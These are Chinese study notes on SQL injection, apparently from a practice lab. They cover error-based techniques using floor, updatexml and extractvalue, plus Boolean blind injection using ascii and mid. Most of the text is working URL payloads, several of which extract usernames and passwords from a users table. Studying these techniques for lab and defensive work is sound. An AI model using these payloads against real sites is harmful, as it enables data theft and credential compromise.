- 源码中有 print_f(mysql_error())
报错注入型
输入?id=1到17页面显示正常 大于18 页面显示异常,得出没有页面没有显示位,无法使用联合注入
尝试加单引号,出现sql语句报错,使用:报错注入。
floor
?id=1' and (select 1 from (select count(*),concat(((查询语句)),floor(rand()*2))x from information_schema.tables group by x)a)--+
可更改查询语句 获得其他数据,详细见双查询注入。
updatexml函数报错注入
语法:updatexml(文档类型,xpath路径,更新的内容)
xpath路径写入其他格式就会报错,并返回我们写入的非法格式内容。?id=1' and updatexml (1,concat(0x7c,(select database())),1)--+
**0x7c后面的逗号不能漏。这里id的值影响不大但是单引号不能漏,不然不会报错。
补充:
1 | polygon函数替换updatexml |
extractvalue函数报错注入
语法:extractvalue(文档类型,xpath路径)
?id=1' and extractvalue(1,concat(0x7c,(查询语句)))
,
floor报错注入
?id=1' and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)--+
第六关,”闭合型报错,使用报错语句注入即可。
*** 补充一下报错获取用户账户和秘密的代码。?id=1" and updatexml(1,concat(0x7c,(select username from users limit 0,1)),1)--+
如果直接要直接查找username,password 记得使用concat进行连接。?id=1" and updatexml(1,concat(0x7c,(select concat(username,password)from users limit 0,1)),1)--+
但是结果也只能慢慢报出,所以一个个查也是可以的,因为长度过长。
对于报错注入长度限制:
我们可以使用函数substr、mid、substring进行截断:
1 | ?id=1" and updatexml(1,concat(0x7c,(select substr(concat(password),1,10)from 'users' limit 0,1),0x7c),1)# |
- 补充
布尔盲注
盲注函数ascii
它是通过ascii码表注入的
以第五关为例:?id=1' and ascii(substr(database(),1,1))=115--+
有回显,猜对了!
不知道ascii表我们可以在MySQL中使用select char(115)
查询字母,是通过查询语句后的数字调节查询位置的,可以通过大于号小于号加快查询。
函数mid
?id=1' and mid(database(),1,1)='s'--+
回显正确
再猜第二个字符时,?id=1' and mid(database(),2,1)='e'--+
第一个参数是字符位置,第二个参数是查询长度